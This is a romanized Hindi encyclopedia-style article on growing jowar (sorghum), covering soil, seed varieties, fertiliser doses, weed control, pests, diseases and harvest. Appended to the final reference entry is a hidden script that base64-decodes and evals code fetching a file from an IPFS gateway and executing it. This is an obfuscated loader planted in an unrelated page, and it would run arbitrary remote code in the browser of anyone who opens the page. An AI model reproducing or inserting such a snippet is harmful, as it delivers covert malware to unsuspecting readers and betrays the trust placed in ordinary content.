ज्वार
thumb|300px|jvar ka khet jvar vishhv ki ek mote anaj vali mahathvapoorn fasal hai. varsha adharit krishi ke liye jhvar sabase upayukht fasal hai. jhvar fasal ka dohara labh milata hai. manav ahar ke sath-sath pashu ahar ke roop mean isaki achhchhi khapat hoti hai. jhvar ki fasal kam varsha mean bhi achhchha upaj de sakati hai. ek or jahaan jhvar sookhe ka sakshamata se samana kar sakati hai, vahian kuchh samay ke liye bhoomi mean jalamaghnata ko bhi sahan kar sakati hai. jhvar ka paudha anhy anaj vali fasaloan ki apeksha kam prakash sanshhleshan evan prati ikaee samay mean adhik shushhk padarth ka nirman karata hai. jhvar ki pani upayog karane ki kshamata bhi anhy anaj vali fasaloan ki tulana mean adhik hai. vartaman samay mean bharat mean jvar ki kheti madhy pradesh, udisa, uttar pradesh tatha panjab rajyoan mean bahutayat mean ki jati hai. jhvar ke dane ka upayog uchhch gunavathta vala elhkohal banane mean bhi kiya jata haian.
jalavayu
jvar ooshn jalavayu ki phasal hai, parantu shighr pakane vali jatiyaan thande pradeshoan mean bhi garmi ke dinoan mean ugaee ja sakati hai . jvar ki fasal mean bali nikalate samay 30 digri selsiyas se adhik tapakram fasal ke lie hanikarak ho sakata hai.[1]
bhoomi ka chunav
matiyar, domat ya madhhyam gahari bhoomi, paryapht jivashhm tatha bhoomi ka 6.0 se 8.0 pi.ech. jvar ke liye sarvadhik upayukht paya gaya hai. khet mean pani ka nikas achhchha hona chahiye. garmi ke samay khet ki gahari jutaee bhoomi urvarakata, kharapatavar, rog evan kit niyantran ki drishti se avashhyak hai. khet ko traikhtar se chalane vale kalhtivetar ya bail jo di se chalane vale bakhar se jutaee kar zamin ko achhchhi tarah bhurabhuri kar pata chalakar boni hetu taiyar karana chahie.
- mitti
jhvar ke lie upajaoo jalodh athava chikani mitti kafi upayukt hoti hai, kintu lal, pili, halki evan bhari domat tatha baluee mittiyoan mean bhi isaki krishi ki jati hai.
kishm v bij
jvar ki kheti ke lie upayukht anushansit kishmoan ka chunav karana chahie. kisi bhi kshetr ke lie anumodit kishmoan ka bij hi boya jana chahie. jahaan tak sanbhav ho pramanit sanshthaoan ke hi bij ka upayog karana uchit rahata hai, ya unhnat kishmoan ka shvayan ka banaya hua bij hi prayog mean lana chahie. jvar ki sankar kishm vah hoti hai, jisaka bij do aant:prajat kishmoan ke sankaran se banaya jata hai. bone ke liye prati varsh naya sankar bij upayog mean lana avashhyak hota hai. sankar jatiy aauan si.es.ech.14, si.es.ech.16, si.es.ech.17 tatha si.es.ech.18 kisanoan ke bone ke liye upayukht haian. vipul uthpadan dene vali kishmoan ka vikas do athava adhik kishmoan se sankaran ke bad hi pidhi़yoan se chayanit shreshhth paudhoan se kiya jata hai. in kishmoan ke khetoan se kisan shvayan sahi lakshan vale 3000-4000 bhootto ko chhaantakar rakhean aur agale varsh bij ke roop mean upayog mean la sakate haian. prati varsh naya bij kharidana avashhyak nahian hai.
bij upachar
bijopachar ke dauran phaphooand nashak dava 'thayaram' 3 gram, prati kilo gram bij ke hisab se upacharit karana chahiye. phaphooand nashak dava se upachar ke uparaant evan boni ke poorv 10 gram 'ejospriliyam' evan 'pi.es.bi.' kalhchar ka upayog prati kilogram bij ke hisab se achhchhi tarah milakar kiya jata hai. kalhchar ke upayog se jhvar ki upaj mean aanshik vriddhi paee gee hai. upacharit bij ko dhoop se bachakar rakhean tatha buvaee shighrata se kar deni chahie. adhik uthpadan prapht karane hetu jhvar ki vipul uthpadan dene vali jatiyoan tatha sankar jatiyoan mean paudh sankhhya 1,80,000 (ek lakh ashsi hazar) prati hekhteyar rakhi jati hai. bij ko kataroan mean 45 semi. doori par boya jata hai. paudhoan se paudhoan ka aantar 12 semi. rakhean. dviudddheshiy (dana evan k dabi) vali nee kishmoan jaise 'javahar jhvar 1022', 'javahar jhvar 1041' evan 'si.ech.es. 18' ki paudh sankhhya do lakh das hazar prati hekhteyar rakhana chahie. yah paudh sankhhya fasal ko kataroan se kataroan ki doori 45 semi. evan paudhe se paudhe ki doori 10 semi. par rakhakar prapht ki ja sakati hai.[1] thumb|jvar ke dane
- aankuran ke bad paudhe jab 8 se 10 din ke ho tab viralan karate samay kataroan mean 10 se 12 semi. ki doori par ek shvashth paudha rakha jata hai. shesh sabhi paudhe nikal diye jate haian. usake pashhchat yadi halhki varsha ho rahi ho, to is samay jahaan paudh nahian ho, vahaan par doosara paudha ropa ja sakata hai. sahi jatiyoan ka chunav, sahi samay par boni, uchit samay par paudh viralan tatha sahi paudh sankhhya rakhana kam lagat kharch se adhik uthpadan prapht karane ki takanik hai.
khad evan urvarak
jhvar bhoomi se 130-150 kilogram natrajan, 50-55 kilogram shphur tatha 100-130 kilogram potash prati hekhteyar leti hai. jhvar ki fasal mean ek kilogram natrajan (naitrets) dene se nee unhnat jatiyoan mean 15 se 16 kilogram dana milata hai. achhchhi upaj ke liye 80 kilogram natrajan, 40 kilogram shphur tatha 40 kilogram potash prati hekhteyar dena chahiye. boni ke samay natrajan ki adhi matra tatha shphur aur potash ki poori matra bij ke niche di jati hai. natrajan ki shesh matra jab fasal 30-35 dinoan ki ho jaye, yani paudhe jab ghutanoan ki ooanchaee ke ho, tab paudhoan se lagabhag 10-12 semi. ki doori par saeed dresiang ke roop mean dekar dora chalakar bhoomi mean mila dena chahie. jahaan gobar ki khad athava kamhposht khad upalabhdh ho, vahaan 5 se 10 tan prati hekhteyar dena labhadayak hota hai tatha isase jhvar se adhik uthpadan prapht hota hai.
kharapatavar niyantran
jhvar fasal mean kharapatavar niyantran hetu kataroan ke bich 'vhhil ho' ya 'dora', boni ke 15-20 din bad evan 30-35 din bad chalayean. isake pashhchat kataroan ke aandar hathoan dvara niraee karean. sanbhav ho to kulhpe ke daante mean rashsi baandhakar paudhoan par mitti chadha deni chahie. rasayanik niyantran mean 'etrajin' 0.5-1.0 kilogram prati hekhteyar sakriy tattv athava 'elakhlor' 1.5 kilogram skriy tathv ko 500 litar jal mean milakar boni ke pashhchat evan aankuran ke poorv chhi dakana chahie. aangiya grasht khet mean jhvar ke anukool mausam hone par bhi bhutte mean dane nahian bharate haian. niandanashak davaoan ke chhi dakav se aangiya ki rokatham ki ja sakati hai. jab aangiya ki sankhhya simit hoti hai tab agiya ko ukha dakar nashht kiya ja sakata hai.[1]
audyaugik fasal
safed jvar ke ate se bred, biskit evan kek banaye ja sakate haian. jvar ke ate ke svabhavik roop se mitha hone ke karan chini ki matra kam rakhakar madhumeh rogiyoan ke lie achchha snaik taiyar kiya ja sakata hai. bred banane ke lie jvar aur gehooan ke ate ki matra 60 pratishat + 40 pratishat rakhi jati hai. isake atirikt samany roop se biyar, jau, makee athava dhan se taiyar ki jati hai, parantu jvar ke anaj se bhi svadisht evan sugandhit biyar banaee ja sakati hai, jo any dhany se banaee biyar se sasti p dati hai. jvar se banaye jane vali biyar ke upayog mean badhotari se jvar ki audyaugik maang badh jayegi.
utpadak kshetr
jvar ka sabase b da utpadak rajy maharashtr hai. isake bad dvitiy sthan karnatak evan tritiy sthan madhy pradesh ka hai. isake alava andhr pradesh, tamilanadu, uttar pradesh, gujarat ityadi rajyoan mean bhi isaki krishi ki jati hai. 2006-07 ke dauran 74 lakh tan jvar ka utpadan hua.
fasal ke pramukh kit
jhvar ki fasal mean anek prakar ke kit pae jate haian. inamean pramukh hai, tana chhedak makhkhi, tana chhedak ilhli aur bhuttoan ke kit. mukhhyat: mij makhkhi adhik hani pahuanchati hai.
tana chhedak makhkhi
yah kit vayashk ghareloo makhkhi ki tulana mean akar mean chhoti hoti hai. isaki mada pathtoan ke niche safed aande deti haian. in aande se 2 se 3 dinoan mean illiyaan nikalakar pathtoan ke poangaloan se hote hue tanoan ke aandar pravesh karati haian aur tanoan ke badhane vale bhag ko nashht karati haian. aise paudhoan mean bhutte nahian ban pate haian.
- niyantran - yadi boni varsha ke agaman ke poorv athava varsha ke aranbh ke ek saphtah mean kar li jaye, to is kit se hani kam hoti hai. bijothpadan kshetr mean boni ke samay bij ke niche 'phoret' 10 pratishat athava 'karbophayuran' 3 pratishat danedar kit nashak 12 se 15 kilogram prati hekhteyar ke hisab se dean.
tana chhedak ilhli
thumb|jvar is kit ki vayashk mada makhkhi pathtoan ki nichali satah par 10 se lekar 80 ke guchhchhoan mean aande deti hai, jisase 4 se 5 dinoan mean illiyaan nikalakar pathtoan ke poangaloan mean pravesh karati haian. tanoan ke aandar mean surang banati haian aur aantat: na da banati haian. is kit ki pahachan pathtoan mean bane chhedoan se ki ja sakati hai, jo illiyaan poangaloan mean pravesh ke samay banati haian.[1]
- niyantran - paudhe jab 25-35 dinoan ki avashtha ke hoan, tab pathtoan ke poangaloan mean 'karbophyuran' 3 pratishat danedar kit nashak ke 5 se 6 dane prati paudhe ki matra mean dalean. lagabhag 8 se 10 kilogram kitanashak ek hekhteyar ke liye lagata hai. danedar kit nashak mahange haian, at: is kit ki santoshajanak rokatham 'iandosalhphan' 4 pratishat athava 'khyoonalaphas' 1.5 pratishat choorn ka dena poangaloan mean bhurakav dvara dena sanbhav hai. yadi tana chhedak ilhli ka niyantran fasal ki praranbhik avashtha mean n kiya jaye, to bhutto ke danthaloan mean illiyaan pravesh kar surang banati haian. parinamashvaroop bhutto mean badhate huye danoan ko paryapht matra mean jal tatha poshak tathv upalabhdh nahian ho pata hai. aise bhutto mean dane akar mean chhote rah jate haian athava anek bar dane nahian ban pate haian.
bhutto ke kit
mij makhkhi kit ka prakop maharashtr se lage ziloan mean adhik dekha jata hai. samanhyat: tapaman jab girane lagata hai, tab kit dikhaee deta hai. is kit ki vayashk mada makhkhi narangi rang ya lal rang ki hoti hai, jo phooloan ke aandar aande deti hai. aandoan se 2 se 3 din mean illiyaan nikalakar phooloan ke aandakoshoan ko khakar nashht karati haian. parinamashvaroop bhutto mean kee jagah dane nahian ban pate. anhy kitoan ki illiyaan bhuttoan mean jale banati haian athava badhate huye dane khakar nashht karati haian. kuchh ras choosak kit danoan se ras choos lete haian.
- niyantran - khet mean jab 90 pratishat paudhoan mean bhutte potoan se bahar nikal ayean, tab bhuttoan par 'inhdosalhfan' 35 ee.si. (1 litar prati hekhteyar) athava 'melathiyan' 50 ee.si. (1 litar prati hekhteyar) taral kit nashak ko 500-600 litar pani mean milakar chhi dakav karean. avashhyakata hone par 10-15 dinoan bad chhi dakav doharaya jana chahie. yadi taral kitanashak upalabhdh n ho, to 'inhdosalhfan' 4 pratishat athava 'melathiyan' 5 pratishat choorn ka bhurakav 12 se 15 kilogram prati hekhteyar ki dar se upayog kiya jata hai.
rog
thumb|jvar jhvar ki desi kishmoan ke pathtoan par anek prakar ke chittidar parn rog dekhe ja sakate haian, parantu sankar kishmoan aur nee unhnat kishmoan ke pathtoan par parn chithti rog kam dikhaee dete haian, khyoanki unamean in rogoan ke lie pratirodhik kshamata ya anuvashik gun hota hai. 'kandava rog' bhi nee kishmoan mean nahian dikhaee deta hai. paudh s dan athava kandava ka niyantran bij ko kavak ko nash karane vali dava se upacharit karane se sanbhav hai. chooanki jhvar ki nee kishmean lagabhag 95 se 110 dinoan mean pakati hai, dane pakane ki avashtha mean varsha hone se danoan par kali athava gulabi rang ki phaphooand ki badhavar dikhaee deti hai. dane bekar ho jate haian, unaki aankuran kshamata kam ho jati hai aur manav ahar ke liye aise dane upayukht nahian hote haian.[1]
- niyantran - is rog ke saphal niyantran ke liye yadi jhvar phoolane ke samay varsha hone se vatavaran mean adhik nami ho, to 'kephtan' (0.3 pratishat) aur 'daeethen-em' (0.3 pratishat) ke mishran ke ghol ka chhi dakav tin bar bhutto par, phool avashtha ke samay, danoan mean doodh ki avashtha ke samay aur dane pakane ki avashtha ke samay karana chahie.
jvar ki kataee
fasal ki kataee karyakiy paripakhvata par karani chahie. har kishm mean bhuttoan ke pakane ka samay alag-alag hota hai. jhvar ke paudhoan ki kataee karake dher laga dete haian. bad mean paudh se bhutto ko alag kar lete haian tatha k dabi ko sukhakar alag dher laga dete haian. yah bad mean janavaroan ko khilane mean kam ata hai. danoan ko sukhakar jab nami 10 se 12 pratishat ho tab bhandaran karana chahie.
dhyan dene yogy batean
jhvar ki fasal ka atyadhik utpadan karane ke liye kuchh batoan ka dhyan rakhana chahie. jaise-shthaniy jatiy aauan ko hi bona jana chahie. samay par buaee karana chahie, asantulit urvarakoan ka prayog nahian hona chahie. paudh sankhhya kam honi chahie, paudhoan ka uchit sanrakshan hona chahie.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 sahoo, ramasukh. jhvar (hindi) (ech.ti.em.el.) krishi chhattisagadh. abhigaman tithi: 11 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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